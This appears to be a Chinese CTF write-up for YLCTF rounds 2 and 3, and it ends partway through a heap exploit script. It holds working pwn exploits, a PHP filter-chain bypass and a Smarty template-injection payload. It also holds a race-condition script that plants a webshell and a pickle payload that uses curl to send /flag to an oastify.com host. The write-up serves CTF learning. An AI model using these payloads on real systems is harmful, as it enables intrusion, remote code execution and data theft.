图片用010打开发现后面一大段有base64编码,去赛博转换一下得到一个rar文件,PassFabforRAR解密一下,得到密码370950解密得到里面的图片

test

仔细在记事本上研究了一会拼出了flag

YLCTF{ccfe9e2c-391f-4055-a128-c06b65426c83}

Pwn

[Round 2] ezstack2

有nx保护

ida看,stack里有栈溢出,vuln里有判断执行system(“sh”)。

stack1

通过read栈溢出触发puts函数的调用,并通过GOT地址泄露libc的地址.

使用ROPgadget获取pop_rdi和ret地址,通过read栈溢出触发puts函数的调用,并通过GOT地址泄露libc地址,最后泄露libc地址和执行system

from pwn import *
from LibcSearcher import *
p = remote('challenge.yuanloo.com', 25160)
elf = ELF('./pwn')

rdi = 0x400823
main = 0x40070A
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 = b'a' * (0x30 + 8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
sys = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
payload2 = b'a' * (0x30 + 8) + p64(0x40056e) + p64(rdi) + p64(binsh) + p64(sys)
p.sendline(payload2)
p.interactive()

stack2

Re

[Round 2] 三点几啦饮茶先
def decipher(v, k):
    v0, v1 = v
    sum = (289739961 * 40) & 0xffffffff  # Initial sum value
    delta = 289739961
    for i in range(40):
        v1 -= (((v0 >> 5) ^ (16 * v0)) + v0) ^ (k[(sum >> 11) & 3] + sum)
        v1 &= 0xffffffff
        sum -= delta
        sum &= 0xffffffff
        v0 -= (((v1 >> 3) ^ (4 * v1)) + v1) ^ (k[sum & 3] + sum)
        v0 &= 0xffffffff
    return [v0, v1]

# 目标密文
target_v0 = 1913208188
target_v1 = -1240730499 & 0xffffffff  # 转换为无符号整数

# 密钥
key = [4097, 8194, 12291, 16388]

# 解密
decrypted = decipher([target_v0, target_v1], key)

print(f"解密结果: {decrypted}")
print(f"输入的两个标签应该是: {decrypted[0]}{decrypted[1]}")
[Round 2] ezwasm

wasm

外部改成大写即可

Web

[Round 2] Cmnts
Z2V0X3RoMXNfZjFhZy5waHA=  #get_th1s_f1ag.php
?key=a7a795a8efb7c30151031c2cb700ddd9

变量覆盖

[Round 2] Pseudo(复现)

可以看到给的附件里面的下载的php文件

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    $data = file_get_contents($_GET['file']);
    $file = tmpfile();
    fwrite($file, $data);
    fflush($file);
    $type = mime_content_type(stream_get_meta_data($file)['uri']);
    fclose($file);

    if (!in_array($type,['image/jpg','image/jpeg', 'image/png', 'image/gif'])) {
        echo "error!!!";
        exit;
    }else{
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="download.jpg"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        echo($data);
        exit;
    }
}

可以利用这里的函数漏洞得到flag,关键点是需要绕过mime_content_type函数,可以利用filterchain进行绕过得到flag

下面是脚本,或者用GitHub上面的脚本

<?php
$base64_payload = "R0lGODlB"; /*GIF89A*/
$conversions = array(
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
	'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
	'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
	'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
	'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/flag";
echo $final_payload;

pseudo

[Round 2] PHUPE(复现)

这题写的时候的思路就是尝试文件上传进行smarty的模板注入,但是没有成功。

0x01

TPL是Smarty模板引擎使用的模板文件格式,它允许将PHP逻辑代码与HTML展示代码分离,使用特殊的标签语法 {标签} 来实现动态内容。

smarty 可以使用 math + 8进制进行绕过

{extends file='views/layout.tpl'}
{block name=content}
    <h1>CTF File Reader</h1>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit">Upload</button>
    </form>
    <pre>{$file_content}</pre>
{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"}
{/block}

~~跟着复现没有成功,感觉可能中间跳步骤了。~~时隔一周回来填坑,确实是自己的问题,没有好好研究给的附件,需要在对应的文件上进行文件的覆盖

phu

然后就有flag了

0x02

从0CTF一道题看move_uploaded_file的一个细节问题,参考链接

[Round 2] RedFox(复现)

先注册一个账号进行登陆

有一个上传评论的地方,发现可以有ssrf的漏洞(当时其实想到这层了,没注意回显包)

redfox1

redfox2

然后测试一下/flag有无发现没有,

/uploads/profile_0f1726ba83325848d47e216b29d5ab99.jpg,后面我也没找到本地文件,先到这吧。,继续来填坑。

不能直接读到flag,尝试读index.php

<?php

session_start();
require_once 'config.php';
require_once 'Database.php';
require_once 'User.php';
require_once 'Post.php';
require_once 'Message.php';

$db = new Database();
$user = new User($db);
$post = new Post($db);
$message = new Message($db);

$error = '';
$success = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['action'])) {
        switch ($_POST['action']) {
            case 'register':
                if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['email'])) {
                    if ($user->register($_POST['username'], $_POST['password'], $_POST['email'])) {
                        $success = "Registration successful. Please log in.";
                    } else {
                        $error = "Registration failed. Please try again.";
                    }
                }
                break;
            case 'login':
                if (isset($_POST['username']) && isset($_POST['password'])) {
                    if ($user->login($_POST['username'], $_POST['password'])) {
                        $success = "Login successful.";
                    } else {
                        $error = "Invalid username or password.";
                    }
                }
                break;
            case 'create_post':
                if (isset($_SESSION['user_id']) && isset($_POST['content'])) {
                    $imageUrl = isset($_POST['image_url']) ? $_POST['image_url'] : null;
                    if ($post->create($_SESSION['user_id'], $_POST['content'], $imageUrl)) {
                        $success = "Post created successfully.";
                    } else {
                        $error = "Failed to create post.";
                    }
                }
                break;
            case 'send_message':
                if (isset($_SESSION['user_id']) && isset($_POST['to_user_id']) && isset($_POST['content'])) {
                    if ($message->send($_SESSION['user_id'], $_POST['to_user_id'], $_POST['content'])) {
                        $success = "Message sent successfully.";
                    } else {
                        $error = "Failed to send message.";
                    }
                }
                break;
            case 'download_message':
                if (isset($_SESSION['user_id']) && isset($_POST['data'])) {
                    if ($user->test($_SESSION['user_id'], $_POST['data'])) {
                        $success = "successfully.";
                    } else {
                        $error = "fail.";
                    }
                }
                break;
        }
    }
}

$feed = $post->getFeed();
?>

这是Database.php


<?php

class Database {
    private $conn;

    public function __construct() {
        $this->conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
        if ($this->conn->connect_error) {
            die("Connection failed: " . $this->conn->connect_error);
        }
    }

    public function query($sql, $params = []) {

        $stmt = $this->conn->prepare($sql);

        if ($stmt === false) {
            return false;
        }

        if (!empty($params)) {
            $types = str_repeat('s', count($params));
            $stmt->bind_param($types, ...$params);
        }

        $stmt->execute();

        if (stripos($sql, 'select') !== false) {
           return $stmt->get_result();
        } else {
            return $stmt->affected_rows;
        }
    }

    public function escape($value) {
        return $this->conn->real_escape_string($value);
    }
}

这是User.php


<?php

class User {
    private $db;

    public function __construct($db) {
        $this->db = $db;
    }

    public function register($username, $password, $email) {
        $hashedPassword = password_hash($password, PASSWORD_DEFAULT);
        $sql = "INSERT INTO users (username, password, email) VALUES (?, ?, ?)";
        return $this->db->query($sql, [$username, $hashedPassword, $email]);
    }

    public function login($username, $password) {
        $sql = "SELECT * FROM users WHERE username = ?";
        $result = $this->db->query($sql, [$username]);
        if ($result->num_rows == 1) {
            $user = $result->fetch_assoc();
            if (password_verify($password, $user['password'])) {
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['username'] = $user['username'];
                return true;
            }
        }
        return false;
    }
    
    public function test($id,$data){
        if(count(array_unique(str_split($data))) <= 7 && !preg_match('/[a-z0-9]/i', $data)){
            eval($data);
        }
    }
}

post.php

<?php

class Post {
    private $db;

    public function __construct($db) {
        $this->db = $db;
    }

    public function create($userId, $content, $imageUrl = null) {
        $sql = "INSERT INTO posts (user_id, content, image_url) VALUES (?, ?, ?)";
        $image = $this->uploadImage($userId,$imageUrl);
        return $this->db->query($sql, [$userId, $content, $image]);
    }

    public function getFeed($page = 1, $limit = 10) {
        $offset = ($page - 1) * $limit;
        $sql = "SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id ORDER BY p.created_at DESC LIMIT ?, ?";
        return $this->db->query($sql, [$offset, $limit]);
    }

    public function uploadImage($userId, $imageUrl) {
        
        $filename = "";
        $curl = curl_init();
        curl_setopt ($curl, CURLOPT_URL, $imageUrl);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        $imageContent = curl_exec ($curl);
        curl_close ($curl);

        if(preg_match('/http|gopher|dict/i',$imageUrl) && preg_match('/php|<\?|script/i',$imageContent)){
            return false;
        }

        if ($imageContent !== false && strlen($imageContent)>50) {
            $filename = 'profile_' . md5($imageUrl) . '.jpg';
            file_put_contents('./uploads/' . $filename, $imageContent);
        }else{
            return false;
        }

        return "./uploads/" . $filename;
    }

}

Message.php

<?php

class Message {
    private $db;

    public function __construct($db) {
        $this->db = $db;
    }

    public function send($fromUserId, $toUserId, $content) {
        $sql = "INSERT INTO messages (from_user_id, to_user_id, content) VALUES (?, ?, ?)";
        return $this->db->query($sql, [$fromUserId, $toUserId, $content]);
    }

    public function getConversation($user1Id, $user2Id, $page = 1, $limit = 20) {
        $offset = ($page - 1) * $limit;
        $sql = "SELECT * FROM messages WHERE (from_user_id = ? AND to_user_id = ?) OR (from_user_id = ? AND to_user_id = ?) ORDER BY created_at DESC LIMIT ?, ?";
        return $this->db->query($sql, [$user1Id, $user2Id, $user2Id, $user1Id, $offset, $limit]);
    }
}
?>

打包分析一下发现存储在一个文件夹跟进,发现有漏洞的地方是在post.php里,但是已经利用过了

在index.php里有

    public function test($id,$data){
        if(count(array_unique(str_split($data))) <= 7 && !preg_match('/[a-z0-9]/i', $data)){
            eval($data);
        }
    }

可以打一个条件竞争进去

file:///etc/php/7.0/apache2/php.ini

fox

然后上exp吧

import io
import sys
import requests
import threading

sessid = 'orange'

def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://challenge.yuanloo.com:27814/index.php',
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "1\necho '<?php eval($_POST[a]);'>/var/www/html/uploads/shell.php\n"},
            files={"file": ('wi.txt', f)},
            cookies={'PHPSESSID': sessid}
        )

def READ(session):
    while True:
        request = requests.session()
        data = {
            'action': 'login',
            'username': '123',
            'password': '123'
        }
        request.post("http://challenge.yuanloo.com:27814/", data=data)

        data = {
            'action': 'download_message',
            'data': '`. /???/???/???/???/??????????????`;'
        }
        request.post("http://challenge.yuanloo.com:27814/", data=data)

        if requests.get("http://challenge.yuanloo.com:27814/uploads/shell.php").status_code != 404:
            print('Success!')
            exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=WRITE, args=(session,))
    t1.daemon = True
    t1.start()

    READ(session)
[Round 2] SNEKLY(复现)
from flask import Flask, render_template, request, jsonify
from flask_login import LoginManager, UserMixin
import sqlite3
import base64
import pickle
import os

app = Flask(__name__)

app.config['SECRET_KEY'] = '060ac533d307'
app.static_folder = 'static'
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

user = {}

current_dir = os.path.dirname(os.path.abspath(__file__))

db_path = os.path.join(current_dir, 'data.db')


class User(UserMixin):
    def __init__(self, id, username, password_hash, data):
        self.id = id
        self.username = username
        self.password_hash = password_hash
        self.data = data


@login_manager.user_loader
def load_user(user_id):
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
    user_data = cursor.fetchone()
    conn.close()

    if user_data:
        return User(id=user_data[0], username=user_data[1], password_hash=user_data[2], data=user_data[3])
    return None


@app.route('/')
def index():
    return render_template("login.html")


@app.route('/login', methods=['POST'])
def login():
    global user
    if request.method == "POST":
        username = request.form.get('username')
        password = request.form.get('password')

        if not username or not password:
            return jsonify({"code": 1, "msg": "用户名或密码不能为空"})

        try:
            con = sqlite3.connect(db_path)
            cur = con.cursor()

            output = cur.execute(
                'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
                .format(post=request.form)
            ).fetchone()

            if output is None:
                return jsonify({"code": 1, "msg": "用户名或密码错误"})

            user['id'], user['username'], user['password'], user['data'] = output

            # 使用安全的密码验证方法
            if (user['username'] == username) and (user['password'] == password):
                return jsonify({"code": 0, "msg": "登录成功"})
            else:
                user = {}
                return jsonify({"code": 1, "msg": "用户名或密码错误"})
        except sqlite3.Error as e:
            print(f"数据库错误: {e}")
            return jsonify({"code": 1, "msg": "服务器错误,请稍后重试"})
    return jsonify({"code": 1, "msg": "无效的请求方法"})


@app.route('/unSer')
def unSer():
    try:
        data = base64.b64decode(user['data'])
        if any(keyword in data for keyword in [b'getattr', b'R', b'map', b'eval', b'exec', b'import']):
            raise pickle.UnpicklingError("unSer")
        pickle.loads(data)
    except Exception as e:
        pass
    return "unSer"


if __name__ == "__main__":
    app.run(host='0.0.0.0')

看到有pickle的模块大抵应该是考察python的反序列化,定位一下关键代码

def unSer():
    try:
        data = base64.b64decode(user['data'])
        if any(keyword in data for keyword in [b'getattr', b'R', b'map', b'eval', b'exec', b'import']):
            raise pickle.UnpicklingError("unSer")
        pickle.loads(data)
    except Exception as e:
        pass
    return "unSer"

使用bp打一个dnslog

import base64
import requests


def quine(data):
    data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
    data1 = data.replace("'", '"').replace('$$', "'$'")
    data = data.replace('$$', f'"{data1}"')
    return data


def exp():
    username = "test\"'"

    opcode = b'''c__builtin__
filter
p0
0(S'curl http://`cat /f*`.urpybxuysw5jjp2ie3koqo4ia9g14rsg.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
    a = base64.b64encode(opcode).decode()
    res = ''
    for i in a:
        if ord(i) > 58 or ord(i) < 47:
            res += "||CHAR(" + str(ord(i)) + ")"
        else:
            res += "||" + i
    res = res[2:]

    password = f" UNION SELECT $$, CHAR({','.join(str(ord(c)) for c in username)}), $$,({res});-- -"
    password = quine(password)

    requests.post(url="http://challenge.yuanloo.com:29180/login",
                  data={
                      "username": username,
                      "password": password
                  })

    requests.get(url="http://challenge.yuanloo.com:29180/unSer")


if __name__ == "__main__":
    exp()

SNEKLy

学学opcode吧

开头的 c__builtin__:
c 表示这个数据结构是一个类的调用。
__builtin__ 是 Python 内置模块,意味着后续会调用该模块中的函数。
filter 是内置函数,用于过滤序列。它将在后续的调用中被使用。
p0 表示将后续的对象(0表示第一个对象)保存到位置 0。
0(S'curl http://... 是一个字符串对象,表示要执行的命令。
这里的命令使用反引号执行 cat /f*,并将输出发送到指定的 URL。
tp1 是另一个指令,用于标记后续的数据结构类型。
0(cos 说明后续数据是与 cos 相关
system 是 os 模块中的一个函数,用于执行系统命令。
g1 用于获取在之前定义的对象,可能是一个函数的引用。
tp2 标记下一个数据结构的类型。
0g0 指获取第一个对象(即命令字符串)。
g2 表示下一个对象的获取。
\x81 是一个转义字符,用于处理特定的内部格式。
p3 表示将此对象保存到位置 3。
0c__builtin__ 和 tuple:
这段是为了创建一个元组,包含前面定义的对象。
最终的结构是一个包含 system 函数和命令的元组。
p4 将这个元组保存在位置 4。
(g3 是标记获取之前保存的对象(即要执行的命令)。

Round 3

crypto

[Round 3] ezlcg
from pwn import *
import re
from Crypto.Util.number import inverse

p = remote("challenge.yuanloo.com", 22178)

# 跳过前27行
for _ in range(27):
    p.recvline()

def solve_lcg_parameters(states, N):
    """求解LCG的参数a和b"""
    diffs = []
    for i in range(len(states) - 1):
        diffs.append((states[i + 1] - states[i]) % N)

    a_candidates = []
    for i in range(len(diffs) - 1):
        if diffs[i + 1] != 0:
            try:
                a = (diffs[i + 1] * inverse(diffs[i], N)) % N
                a_candidates.append(a)
            except:
                continue

    if len(a_candidates) > 0:
        a = max(set(a_candidates), key=a_candidates.count)
        b = (states[1] - a * states[0]) % N
        return a, b
    return None, None

def find_seed(N, num1, num2, num3):
    """从三个连续状态值找到初始种子"""
    states = [num1, num2, num3]

    # 求解a和b
    a, b = solve_lcg_parameters(states, N)

    if not a or not b:
        return None, None, None

    # 反推seed
    seed = ((num1 - b) * inverse(a, N)) % N

    # 验证
    state = seed
    verified = True
    for expected in [num1, num2, num3]:
        state = (state * a + b) % N
        if state != expected:
            verified = False
            break

    return seed, a, b if verified else (None, None, None)

for _ in range(50):
    data = p.recvuntil("seed =".encode()).decode()

    a_match = re.search(r'a=(\d+)', data)
    b_match = re.search(r'b=(\d+)', data)
    N_match = re.search(r'N=(\d+)', data)
    num1_match = re.search(r'num1=(\d+)', data)

    if a_match and b_match and N_match and num1_match:
        a = int(a_match.group(1))
        b = int(b_match.group(1))
        N = int(N_match.group(1))
        num1 = int(num1_match.group(1))

        def find_seed_a_b(a, b, N, num1):
            left_side = (num1 - b) % N
            a_inv = inverse(a, N)
            seed = (left_side * a_inv) % N
            return seed

        seed = find_seed_a_b(a, b, N, num1)
        p.sendline(str(seed))
        response = p.recvuntil("success!".encode())
        print(response.decode())

response = p.recvuntil("Challenge two,30 Round".encode())
if "Challenge two,30 Round" in response.decode():
    for _ in range(30):
        data = p.recvuntil("seed =".encode()).decode()

        a_match = re.search(r'a=(\d+)', data)
        N_match = re.search(r'N=(\d+)', data)
        num1_match = re.search(r'num1=(\d+)', data)
        num2_match = re.search(r'num2=(\d+)', data)

        if a_match and N_match and num1_match and num2_match:
            a = int(a_match.group(1))
            N = int(N_match.group(1))
            num1 = int(num1_match.group(1))
            num2 = int(num2_match.group(1))

            def lcg_seed(num1, num2, a, N):
                b = (num2 - (a * num1) % N + N) % N
                seed = (num1 - b) * inverse(a, N) % N
                return seed

            seed = lcg_seed(num1, num2, a, N)
            p.sendline(str(seed))
            response = p.recvuntil("success!".encode())
            print(response.decode())

# Challenge three 部分
data = p.recvuntil("Challenge three,10 Round".encode()).decode()
if "Challenge three,10 Round" in data:
    print("进入 Challenge three, 10 Round")
    for _ in range(10):
        data = p.recvuntil("seed =".encode()).decode()

        N_match = re.search(r'N=(\d+)', data)
        num1_match = re.search(r'num1=(\d+)', data)
        num2_match = re.search(r'num2=(\d+)', data)
        num3_match = re.search(r'num3=(\d+)', data)

        if N_match and num1_match and num2_match and num3_match:
            N = int(N_match.group(1))
            num1 = int(num1_match.group(1))
            num2 = int(num2_match.group(1))
            num3 = int(num3_match.group(1))

            # 使用 LCG 解密函数找到 seed
            seed, a, b = find_seed(N, num1, num2, num3)

            if seed is not None:
                p.sendline(str(seed))
                response = p.recvuntil("success!".encode())
                print(response.decode())
            else:
                print("无法找到种子")
p.interactive()
[Round 3] QWQ

明显的颜文字,转一下再base解密即可

qwq

Misc

[Round 3] Blackdoor

一个文件夹,用d盾扫一下发现危险文件,里面有MD5值,套一下得到flag

Pwn

[Round 3] Secret

附件ida打开输入nc连接输入密文SuperSecretPassword得到flag

[Round 3] ezstack3

先看mian和vuln,再观察system利用栈溢出漏洞首先发送填充数据以覆盖返回地址,然后接收 EBP 地址并计算其偏移。接着构造 payload,调用 system 函数执行 /bin/sh,最终获得交互式 shell。

from pwn import *

p = remote('challenge.yuanloo.com', 32407)
context(os='linux', arch='i386', log_level='debug')

p.recvuntil(b'Welcome to YLCTF stack3')
p.send(b'a' * 0x30)
p.recvuntil(b'a' * 0x30)

ebp = u32(p.recv(4)) - 16
p.recvuntil(b'pwn!')

p.send(
    p32(0x080490C0) +    # system
    p32(0) +            # argument for system
    p32(ebp - 36) +     # return address
    b'/bin/sh\x00' +
    b'a' * 28 +
    p32(ebp - 52) +     # old EBP
    p32(0x08049324)     # leave_ret
)
p.interactive()

stack3

[Round 3] null

利用了 off-by-one 漏洞,通过 edit 函数实现堆块重叠,进而修改前一个堆块的 fd 指针以覆盖 free_hook。当再次释放该堆块时,程序会调用 free_hook 指向的地址,执行 system 函数,从而获取权限并启动一个 shell。

from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

def print_info(x): print('\x1b[01;38;5;214m' + x + '\x1b[0m')

def print_error(x): print('\x1b[01;38;5;1m' + x + '\x1b[0m')

class Exploit:
    def __init__(self, is_remote=True):
        self.elf = ELF('./pwn')
        self.libc = ELF('./libc-2.27.so')

        if is_remote:
            self.p = remote('challenge.yuanloo.com', 39010)
        else:
            self.p = process('./pwn')

        self.libc_base = 0
        self.malloc_hook = 0
        self.free_hook = 0
        self.system = 0
        self.bin_sh = 0
    def get_addr64(self):
        return u64(self.p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))

    def get_libc_offsets(self):
        self.malloc_hook = self.libc_base + self.libc.sym['__malloc_hook']
        self.free_hook = self.libc_base + self.libc.sym['__free_hook']
        self.system = self.libc_base + self.libc.sym['system']
